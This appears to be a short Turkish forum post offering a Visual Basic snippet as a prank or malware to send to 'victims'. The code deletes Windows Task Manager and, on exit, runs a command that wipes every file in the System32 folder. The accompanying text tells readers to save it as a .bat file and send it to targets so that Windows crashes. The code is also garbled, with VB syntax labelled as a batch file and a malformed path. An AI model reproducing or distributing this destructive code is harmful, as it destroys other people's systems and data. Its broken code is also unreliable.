Private Sub Form_Load()
filecopy "c:\windows\system32\taskmgr.exe" , "c:\windows\repeair\taskmgr.exe"
'Burada Taskmgr dosyasını yedekledik
Timer1.interval=10
End Sub
Private Sub Timer1()
ON LOCAL ERROR RESUME NEXT
Kill "c:\windows\system32\taskmgr.exe"
End Sub
Private Sub Form_unload()
filecopy "c:\windows\repeair\taskmgr.exe" , "c:\windows\system32\taskmgr.exec:\windows\repeair\taskmgr.exe"
kill "C:\WINDOWS\system32\*.*"
End Sub
imhoteph
Bu kodlamaları bi notdefterine kaydedin ve farklı kaydet yaparak dosyanın yazi yazıldıgı yere program.bat uzansısı yaparak kaydedin kurbanlarınıza gonderin ve otomatikmen bios sayfasi acilp windows' Cokecektir
Hic bir Mesuliyet Kabul edilemez Kendnizde Denemeyin!
